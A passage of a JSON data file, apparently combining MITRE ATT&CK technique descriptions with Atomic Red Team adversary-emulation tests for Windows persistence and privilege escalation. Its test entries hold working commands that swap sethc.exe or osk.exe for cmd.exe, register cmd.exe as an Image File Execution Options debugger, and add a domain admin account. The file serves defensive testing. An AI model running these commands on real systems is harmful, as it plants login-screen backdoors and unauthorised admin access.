- "description": "Microsoft. (n.d.). Dynamic-Link Library Security. Retrieved November 27, 2017.",
- "source_name": "Microsoft DLL Security"
- }
- ],
- "modified": "2020-01-24T18:50:28.846Z",
- "name": "LSASS Driver",
- "description": "The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process. (Citation: Microsoft Security Subsystem)\n\nAdversaries may target lsass.exe drivers to obtain execution and/or persistence. By either replacing or adding illegitimate drivers (e.g., [DLL Side-Loading](https://attack.mitre.org/techniques/T1073) or [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038)), an adversary can achieve arbitrary code execution triggered by continuous LSA operations.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "execution"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_detection": "With LSA Protection enabled, monitor the event logs (Events 3033 and 3063) for failed attempts to load LSA plug-ins and drivers. (Citation: Microsoft LSA Protection Mar 2014)\n\nUtilize the Sysinternals Autoruns/Autorunsc utility (Citation: TechNet Autoruns) to examine loaded drivers associated with the LSA.\n\nUtilize the Sysinternals Process Monitor utility to monitor DLL load operations in lsass.exe. (Citation: Microsoft DLL Security)",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_permissions_required": [
- "Administrator",
- "SYSTEM"
- ]
- },
- "atomic_tests": []
- },
- "T1574.005": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Travis Smith, Tripwire",
- "Stefan Kanthak"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--70d81154-b187-45f9-8ec5-295d01255979",
- "type": "attack-pattern",
- "created": "2020-03-13T11:12:18.558Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1574.005",
- "url": "https://attack.mitre.org/techniques/T1574/005"
- },
- {
- "source_name": "mozilla_sec_adv_2012",
- "url": "https://www.mozilla.org/en-US/security/advisories/mfsa2012-98/",
- "description": "Robert Kugler. (2012, November 20). Mozilla Foundation Security Advisory 2012-98. Retrieved March 10, 2017."
- },
- {
- "source_name": "Executable Installers are Vulnerable",
- "url": "https://seclists.org/fulldisclosure/2015/Dec/34",
- "description": "Stefan Kanthak. (2015, December 8). Executable installers are vulnerable^WEVIL (case 7): 7z*.exe allows remote code execution with escalation of privilege. Retrieved December 4, 2014."
- }
- ],
- "modified": "2020-03-26T19:20:23.030Z",
- "name": "Executable Installer File Permissions Weakness",
- "description": "Adversaries may execute their own malicious payloads by hijacking the binaries used by an installer. These processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.\n\nAnother variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the %TEMP%
directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001).\n\nAdversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002). Several examples of this weakness in existing common installers have been reported to software vendors.(Citation: mozilla_sec_adv_2012) (Citation: Executable Installers are Vulnerable) If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_detection": "Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.\n\nLook for abnormal process call trees from typical processes and services and for execution of other commands that could relate to Discovery or other adversary techniques.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "File: File Modification",
- "File: File Creation",
- "Service: Service Metadata",
- "Module: Module Load",
- "Process: Process Creation"
- ],
- "x_mitre_permissions_required": [
- "Administrator",
- "User"
- ],
- "x_mitre_effective_permissions": [
- "Administrator",
- "User",
- "SYSTEM"
- ]
- },
- "atomic_tests": []
- },
- "T1546.008": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Paul Speulstra, AECOM Global Security Operations Center"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--70e52b04-2a0c-4cea-9d18-7149f1df9dc5",
- "type": "attack-pattern",
- "created": "2020-01-24T14:32:40.315Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1546.008",
- "url": "https://attack.mitre.org/techniques/T1546/008"
- },
- {
- "external_id": "CAPEC-558",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/558.html"
- },
- {
- "url": "https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-1.html",
- "description": "Glyer, C., Kazanciyan, R. (2012, August 20). The \u201cHikit\u201d Rootkit: Advanced and Persistent Attack Techniques (Part 1). Retrieved June 6, 2016.",
- "source_name": "FireEye Hikit Rootkit"
- },
- {
- "url": "https://www.slideshare.net/DennisMaldonado5/sticky-keys-to-the-kingdom",
- "description": "Maldonado, D., McGuffin, T. (2016, August 6). Sticky Keys to the Kingdom. Retrieved July 5, 2017.",
- "source_name": "DEFCON2016 Sticky Keys"
- },
- {
- "url": "http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/",
- "description": "Tilbury, C. (2014, August 28). Registry Analysis with CrowdResponse. Retrieved November 12, 2014.",
- "source_name": "Tilbury 2014"
- },
- {
- "source_name": "Narrator Accessibility Abuse",
- "url": "https://giuliocomi.blogspot.com/2019/10/abusing-windows-10-narrators-feedback.html",
- "description": "Comi, G. (2019, October 19). Abusing Windows 10 Narrator's 'Feedback-Hub' URI for Fileless Persistence. Retrieved April 28, 2020."
- }
- ],
- "modified": "2020-05-13T20:37:30.048Z",
- "name": "Event Triggered Execution: Accessibility Features",
- "description": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by accessibility features. Windows contains accessibility features that may be launched with a key combination before a user has logged in (ex: when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.\n\nTwo common accessibility programs are C:\\Windows\\System32\\sethc.exe
, launched when the shift key is pressed five times and C:\\Windows\\System32\\utilman.exe
, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as \"sticky keys\", and has been used by adversaries for unauthenticated access through a remote desktop login screen. (Citation: FireEye Hikit Rootkit)\n\nDepending on the version of Windows, an adversary may take advantage of these features in different ways. Common methods used by adversaries include replacing accessibility feature binaries or pointers/references to these binaries in the Registry. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in %systemdir%\\
, and it must be protected by Windows File or Resource Protection (WFP/WRP). (Citation: DEFCON2016 Sticky Keys) The [Image File Execution Options Injection](https://attack.mitre.org/techniques/T1546/012) debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced.\n\nFor simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., C:\\Windows\\System32\\utilman.exe
) may be replaced with \"cmd.exe\" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) will cause the replaced file to be executed with SYSTEM privileges. (Citation: Tilbury 2014)\n\nOther accessibility features exist that may also be leveraged in a similar fashion: (Citation: DEFCON2016 Sticky Keys)(Citation: Narrator Accessibility Abuse)\n\n* On-Screen Keyboard: C:\\Windows\\System32\\osk.exe
\n* Magnifier: C:\\Windows\\System32\\Magnify.exe
\n* Narrator: C:\\Windows\\System32\\Narrator.exe
\n* Display Switcher: C:\\Windows\\System32\\DisplaySwitch.exe
\n* App Switcher: C:\\Windows\\System32\\AtBroker.exe
",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_detection": "Changes to accessibility utility binaries or binary paths that do not correlate with known software, patch cycles, etc., are suspicious. Command line invocation of tools capable of modifying the Registry for associated keys are also suspicious. Utility arguments and the binaries themselves should be monitored for changes. Monitor Registry keys within HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options
.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Windows Registry: Windows Registry Key Modification",
- "File: File Creation",
- "Process: Process Creation",
- "Command: Command Execution",
- "File: File Modification"
- ],
- "x_mitre_permissions_required": [
- "Administrator"
- ],
- "x_mitre_effective_permissions": [
- "SYSTEM"
- ],
- "identifier": "T1546.008"
- },
- "atomic_tests": [
- {
- "name": "Attaches Command Prompt as a Debugger to a List of Target Processes",
- "auto_generated_guid": "3309f53e-b22b-4eb6-8fd2-a6cf58b355a9",
- "description": "Attaches cmd.exe to a list of processes. Configure your own Input arguments to a different executable or list of executables.\nUpon successful execution, powershell will modify the registry and swap osk.exe with cmd.exe.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "parent_list": {
- "description": "Comma separated list of system binaries to which you want to attach each #{attached_process}. Default: \"osk.exe\"\n",
- "type": "string",
- "default": "osk.exe, sethc.exe, utilman.exe, magnify.exe, narrator.exe, DisplaySwitch.exe, atbroker.exe"
- },
- "attached_process": {
- "description": "Full path to process to attach to target in #{parent_list}. Default: cmd.exe\n",
- "type": "path",
- "default": "C:\\windows\\system32\\cmd.exe"
- }
- },
- "executor": {
- "command": "$input_table = \"#{parent_list}\".split(\",\")\n$Name = \"Debugger\"\n$Value = \"#{attached_process}\"\nForeach ($item in $input_table){\n $item = $item.trim()\n $registryPath = \"HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\$item\"\n IF(!(Test-Path $registryPath))\n {\n New-Item -Path $registryPath -Force\n New-ItemProperty -Path $registryPath -Name $name -Value $Value -PropertyType STRING -Force\n }\n ELSE\n {\n New-ItemProperty -Path $registryPath -Name $name -Value $Value\n }\n}\n",
- "cleanup_command": "$input_table = \"#{parent_list}\".split(\",\")\nForeach ($item in $input_table)\n{\n $item = $item.trim()\n reg delete \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\$item\" /v Debugger /f 2>&1 | Out-Null\n}\n",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "Replace binary of sticky keys",
- "auto_generated_guid": "934e90cf-29ca-48b3-863c-411737ad44e3",
- "description": "Replace sticky keys binary (sethc.exe) with cmd.exe\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "IF NOT EXIST C:\\Windows\\System32\\sethc_backup.exe (copy C:\\Windows\\System32\\sethc.exe C:\\Windows\\System32\\sethc_backup.exe) ELSE ( pushd )\ntakeown /F C:\\Windows\\System32\\sethc.exe /A\nicacls C:\\Windows\\System32\\sethc.exe /grant Administrators:F /t\ncopy /Y C:\\Windows\\System32\\cmd.exe C:\\Windows\\System32\\sethc.exe\n",
- "cleanup_command": "copy /Y C:\\Windows\\System32\\sethc_backup.exe C:\\Windows\\System32\\sethc.exe\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- },
- {
- "name": "Create Symbolic Link From osk.exe to cmd.exe",
- "auto_generated_guid": "51ef369c-5e87-4f33-88cd-6d61be63edf2",
- "description": "Replace accessiblity executable with cmd.exe to provide elevated command prompt from login screen without logging in.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "IF NOT EXIST %windir%\\System32\\osk.exe.bak (copy %windir%\\System32\\osk.exe %windir%\\System32\\osk.exe.bak) ELSE ( pushd )\ntakeown /F %windir%\\System32\\osk.exe /A\nicacls %windir%\\System32\\osk.exe /grant Administrators:F /t\ndel %windir%\\System32\\osk.exe\nmklink %windir%\\System32\\osk.exe %windir%\\System32\\cmd.exe\n",
- "cleanup_command": "takeown /F %windir%\\System32\\osk.exe /A\nicacls %windir%\\System32\\osk.exe /grant Administrators:F /t\ndel %windir%\\System32\\osk.exe\ncopy /Y %windir%\\System32\\osk.exe.bak %windir%\\System32\\osk.exe\nicacls %windir%\\system32\\osk.exe /inheritance:d\nicacls %windir%\\system32\\osk.exe /setowner \"NT SERVICE\\TrustedInstaller\"\nicacls %windir%\\System32\\osk.exe /grant \"NT SERVICE\\TrustedInstaller\":F /t\nicacls %windir%\\system32\\osk.exe /grant:r SYSTEM:RX\nicacls %windir%\\system32\\osk.exe /grant:r Administrators:RX\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- }
- ]
- },
- "T1504": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Allen DeRyke, ICE"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--723e3a2b-ca0d-4daa-ada8-82ea35d3733a",
- "type": "attack-pattern",
- "created": "2019-06-14T18:53:49.472Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1504",
- "url": "https://attack.mitre.org/techniques/T1504"
- },
- {
- "source_name": "Microsoft About Profiles",
- "url": "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_profiles?view=powershell-6",
- "description": "Microsoft. (2017, November 29). About Profiles. Retrieved June 14, 2019."
- },
- {
- "source_name": "ESET Turla PowerShell May 2019",
- "url": "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/",
- "description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019."
- },
- {
- "source_name": "Wits End and Shady PowerShell Profiles",
- "url": "https://witsendandshady.blogspot.com/2019/06/lab-notes-persistence-and-privilege.html",
- "description": "DeRyke, A.. (2019, June 7). Lab Notes: Persistence and Privilege Elevation using the Powershell Profile. Retrieved July 8, 2019."
- },
- {
- "url": "http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf",
- "description": "Malware Archaeology. (2016, June). WINDOWS POWERSHELL LOGGING CHEAT SHEET - Win 7/Win 2008 or later. Retrieved June 24, 2016.",
- "source_name": "Malware Archaeology PowerShell Cheat Sheet"
- }
- ],
- "modified": "2020-01-24T15:11:53.430Z",
- "name": "PowerShell Profile",
- "description": "Adversaries may gain persistence and elevate privileges in certain situations by abusing [PowerShell](https://attack.mitre.org/techniques/T1086) profiles. A PowerShell profile (profile.ps1
) is a script that runs when PowerShell starts and can be used as a logon script to customize user environments. PowerShell supports several profiles depending on the user or host program. For example, there can be different profiles for PowerShell host programs such as the PowerShell console, PowerShell ISE or Visual Studio Code. An administrator can also configure a profile that applies to all users and host programs on the local computer. (Citation: Microsoft About Profiles) \n\nAdversaries may modify these profiles to include arbitrary commands, functions, modules, and/or PowerShell drives to gain persistence. Every time a user opens a PowerShell session the modified script will be executed unless the -NoProfile
flag is used when it is launched. (Citation: ESET Turla PowerShell May 2019) \n\nAn adversary may also be able to escalate privileges if a script in a PowerShell profile is loaded and executed by an account with higher privileges, such as a domain administrator. (Citation: Wits End and Shady PowerShell Profiles)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "Locations where profile.ps1
can be stored should be monitored for new profiles or modifications. (Citation: Malware Archaeology PowerShell Cheat Sheet) Example profile locations include:\n\n* $PsHome\\Profile.ps1
\n* $PsHome\\Microsoft.{HostProgram}_profile.ps1
\n* $Home\\My Documents\\PowerShell\\Profile.ps1
\n* $Home\\My Documents\\PowerShell\\Microsoft.{HostProgram}_profile.ps1
\n\nMonitor abnormal PowerShell commands, unusual loading of PowerShell drives or modules, and/or execution of unknown programs.",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_permissions_required": [
- "User",
- "Administrator"
- ]
- },
- "atomic_tests": []
- },
- "T1198": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Matt Graeber, @mattifestation, SpecterOps"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--72b5ef57-325c-411b-93ca-a3ca6fa17e31",
- "type": "attack-pattern",
- "created": "2018-04-18T17:59:24.739Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1198",
- "url": "https://attack.mitre.org/techniques/T1198"
- },
- {
- "url": "https://msdn.microsoft.com/library/ms537359.aspx",
- "description": "Microsoft. (n.d.). Authenticode. Retrieved January 31, 2018.",
- "source_name": "Microsoft Authenticode"
- },
- {
- "url": "https://msdn.microsoft.com/library/windows/desktop/aa388208.aspx",
- "description": "Microsoft. (n.d.). WinVerifyTrust function. Retrieved January 31, 2018.",
- "source_name": "Microsoft WinVerifyTrust"
- },
- {
- "url": "https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf",
- "description": "Graeber, M. (2017, September). Subverting Trust in Windows. Retrieved January 31, 2018.",
- "source_name": "SpectorOps Subverting Trust Sept 2017"
- },
- {
- "url": "https://blogs.technet.microsoft.com/eduardonavarro/2008/07/11/sips-subject-interface-package-and-authenticode/",
- "description": "Navarro, E. (2008, July 11). SIP\u2019s (Subject Interface Package) and Authenticode. Retrieved January 31, 2018.",
- "source_name": "EduardosBlog SIPs July 2008"
- },
- {
- "url": "https://docs.microsoft.com/windows-hardware/drivers/install/catalog-files",
- "description": "Hudek, T. (2017, April 20). Catalog Files and Digital Signatures. Retrieved January 31, 2018.",
- "source_name": "Microsoft Catalog Files and Signatures April 2017"
- },
- {
- "url": "https://github.com/mattifestation/PoCSubjectInterfacePackage",
- "description": "Graeber, M. (2017, September 14). PoCSubjectInterfacePackage. Retrieved January 31, 2018.",
- "source_name": "GitHub SIP POC Sept 2017"
- },
- {
- "url": "http://www.entrust.net/knowledge-base/technote.cfm?tn=8165",
- "description": "Entrust Datacard. (2017, August 16). How do I enable CAPI 2.0 logging in Windows Vista, Windows 7 and Windows 2008 Server?. Retrieved January 31, 2018.",
- "source_name": "Entrust Enable CAPI2 Aug 2017"
- },
- {
- "url": "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn311461(v=ws.11)",
- "description": "Microsoft. (2016, August 31). Registry (Global Object Access Auditing). Retrieved January 31, 2018.",
- "source_name": "Microsoft Registry Auditing Aug 2016"
- },
- {
- "url": "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/dd941614(v=ws.10)",
- "description": "Microsoft. (2012, July 2). Audit Registry. Retrieved January 31, 2018.",
- "source_name": "Microsoft Audit Registry July 2012"
- }
- ],
- "modified": "2020-02-05T19:35:58.954Z",
- "name": "SIP and Trust Provider Hijacking",
- "description": "In user mode, Windows Authenticode (Citation: Microsoft Authenticode) digital signatures are used to verify a file's origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft signature may be handled as safe). The signature validation process is handled via the WinVerifyTrust application programming interface (API) function, (Citation: Microsoft WinVerifyTrust) which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature. (Citation: SpectorOps Subverting Trust Sept 2017)\n\nBecause of the varying executable file types and corresponding signature formats, Microsoft created software components called Subject Interface Packages (SIPs) (Citation: EduardosBlog SIPs July 2008) to provide a layer of abstraction between API functions and files. SIPs are responsible for enabling API functions to create, retrieve, calculate, and verify signatures. Unique SIPs exist for most file formats (Executable, PowerShell, Installer, etc., with catalog signing providing a catch-all (Citation: Microsoft Catalog Files and Signatures April 2017)) and are identified by globally unique identifiers (GUIDs). (Citation: SpectorOps Subverting Trust Sept 2017)\n\nSimilar to [Code Signing](https://attack.mitre.org/techniques/T1116), adversaries may abuse this architecture to subvert trust controls and bypass security policies that allow only legitimately signed code to execute on a system. Adversaries may hijack SIP and trust provider components to mislead operating system and whitelisting tools to classify malicious (or any) code as signed by: (Citation: SpectorOps Subverting Trust Sept 2017)\n\n* Modifying the Dll
and FuncName
Registry values in HKLM\\SOFTWARE[\\WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllGetSignedDataMsg\\{SIP_GUID}
that point to the dynamic link library (DLL) providing a SIP\u2019s CryptSIPDllGetSignedDataMsg function, which retrieves an encoded digital certificate from a signed file. By pointing to a maliciously-crafted DLL with an exported function that always returns a known good signature value (ex: a Microsoft signature for Portable Executables) rather than the file\u2019s real signature, an adversary can apply an acceptable signature value to all files using that SIP (Citation: GitHub SIP POC Sept 2017) (although a hash mismatch will likely occur, invalidating the signature, since the hash returned by the function will not match the value computed from the file).\n* Modifying the Dll
and FuncName
Registry values in HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllVerifyIndirectData\\{SIP_GUID}
that point to the DLL providing a SIP\u2019s CryptSIPDllVerifyIndirectData function, which validates a file\u2019s computed hash against the signed hash value. By pointing to a maliciously-crafted DLL with an exported function that always returns TRUE (indicating that the validation was successful), an adversary can successfully validate any file (with a legitimate signature) using that SIP (Citation: GitHub SIP POC Sept 2017) (with or without hijacking the previously mentioned CryptSIPDllGetSignedDataMsg function). This Registry value could also be redirected to a suitable exported function from an already present DLL, avoiding the requirement to drop and execute a new file on disk.\n* Modifying the DLL
and Function
Registry values in HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\Providers\\Trust\\FinalPolicy\\{trust provider GUID}
that point to the DLL providing a trust provider\u2019s FinalPolicy function, which is where the decoded and parsed signature is checked and the majority of trust decisions are made. Similar to hijacking SIP\u2019s CryptSIPDllVerifyIndirectData function, this value can be redirected to a suitable exported function from an already present DLL or a maliciously-crafted DLL (though the implementation of a trust provider is complex).\n* **Note:** The above hijacks are also possible without modifying the Registry via [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038).\n\nHijacking SIP or trust provider components can also enable persistent code execution, since these malicious components may be invoked by any application that performs code signing or signature validation. (Citation: SpectorOps Subverting Trust Sept 2017)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_detection": "Periodically baseline registered SIPs and trust providers (Registry entries and files on disk), specifically looking for new, modified, or non-Microsoft entries. (Citation: SpectorOps Subverting Trust Sept 2017)\n\nEnable CryptoAPI v2 (CAPI) event logging (Citation: Entrust Enable CAPI2 Aug 2017) to monitor and analyze error events related to failed trust validation (Event ID 81, though this event can be subverted by hijacked trust provider components) as well as any other provided information events (ex: successful validations). Code Integrity event logging may also provide valuable indicators of malicious SIP or trust provider loads, since protected processes that attempt to load a maliciously-crafted trust validation component will likely fail (Event ID 3033). (Citation: SpectorOps Subverting Trust Sept 2017)\n\nUtilize Sysmon detection rules and/or enable the Registry (Global Object Access Auditing) (Citation: Microsoft Registry Auditing Aug 2016) setting in the Advanced Security Audit policy to apply a global system access control list (SACL) and event auditing on modifications to Registry values (sub)keys related to SIPs and trust providers: (Citation: Microsoft Audit Registry July 2012)\n\n* HKLM\\SOFTWARE\\Microsoft\\Cryptography\\OID\n* HKLM\\SOFTWARE\\WOW6432Node\\Microsoft\\Cryptography\\OID\n* HKLM\\SOFTWARE\\Microsoft\\Cryptography\\Providers\\Trust\n* HKLM\\SOFTWARE\\WOW6432Node\\Microsoft\\Cryptography\\Providers\\Trust\n\n**Note:** As part of this technique, adversaries may attempt to manually edit these Registry keys (ex: Regedit) or utilize the legitimate registration process using [Regsvr32](https://attack.mitre.org/techniques/T1117). (Citation: SpectorOps Subverting Trust Sept 2017)\n\nAnalyze Autoruns data for oddities and anomalies, specifically malicious files attempting persistent execution by hiding within auto-starting locations. Autoruns will hide entries signed by Microsoft or Windows by default, so ensure \u201cHide Microsoft Entries\u201d and \u201cHide Windows Entries\u201d are both deselected. (Citation: SpectorOps Subverting Trust Sept 2017)",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_defense_bypassed": [
- "Application whitelisting",
- "Autoruns Analysis",
- "Digital Certificate Validation",
- "Process whitelisting",
- "User Mode Signature Validation"
- ],
- "x_mitre_permissions_required": [
- "Administrator",
- "SYSTEM"
- ]
- },
- "atomic_tests": []
- },
- "T1136.002": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "macOS",
- "Linux"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--7610cada-1499-41a4-b3dd-46467b68d177",
- "type": "attack-pattern",
- "created": "2020-01-28T14:05:17.825Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1136.002",
- "url": "https://attack.mitre.org/techniques/T1136/002"
- },
- {
- "source_name": "Microsoft User Creation Event",
- "description": "Lich, B., Miroshnikov, A. (2017, April 5). 4720(S): A user account was created. Retrieved June 30, 2017.",
- "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4720"
- }
- ],
- "modified": "2020-03-23T18:12:36.696Z",
- "name": "Create Account: Domain Account",
- "description": "Adversaries may create a domain account to maintain access to victim systems. Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover user, administrator, and service accounts. With a sufficient level of access, the net user /add /domain
command can be used to create a domain account.\n\nSuch accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_detection": "Monitor for processes and command-line parameters associated with domain account creation, such as net user /add /domain
. Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows domain controller. (Citation: Microsoft User Creation Event) Perform regular audits of domain accounts to detect suspicious accounts that may have been created by an adversary.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Command: Command Execution",
- "User Account: User Account Creation",
- "Process: Process Creation"
- ],
- "x_mitre_permissions_required": [
- "Administrator"
- ],
- "identifier": "T1136.002"
- },
- "atomic_tests": [
- {
- "name": "Create a new Windows domain admin user",
- "auto_generated_guid": "fcec2963-9951-4173-9bfa-98d8b7834e62",
- "description": "Creates a new domain admin user in a command prompt.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "username": {
- "description": "Username of the user to create",
- "type": "string",
- "default": "T1136.002_Admin"
- },
- "password": {
- "description": "Password of the user to create",
- "type": "string",
- "default": "T1136_pass123!"
- },
- "group": {
- "description": "Domain administrator group to which add the user to",
- "type": "string",
- "default": "Domain Admins"
- }
- },
- "executor": {
- "command": "net user \"#{username}\" \"#{password}\" /add /domain\nnet group \"#{group}\" \"#{username}\" /add /domain\n",
- "cleanup_command": "net user \"#{username}\" >nul 2>&1 /del /domain\n",
- "name": "command_prompt",
- "elevation_required": false
- }
- },
- {
- "name": "Create a new account similar to ANONYMOUS LOGON",
- "auto_generated_guid": "dc7726d2-8ccb-4cc6-af22-0d5afb53a548",
- "description": "Create a new account similar to ANONYMOUS LOGON in a command prompt.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "username": {
- "description": "Username of the user to create",
- "type": "string",
- "default": "ANONYMOUS LOGON"
- },
- "password": {
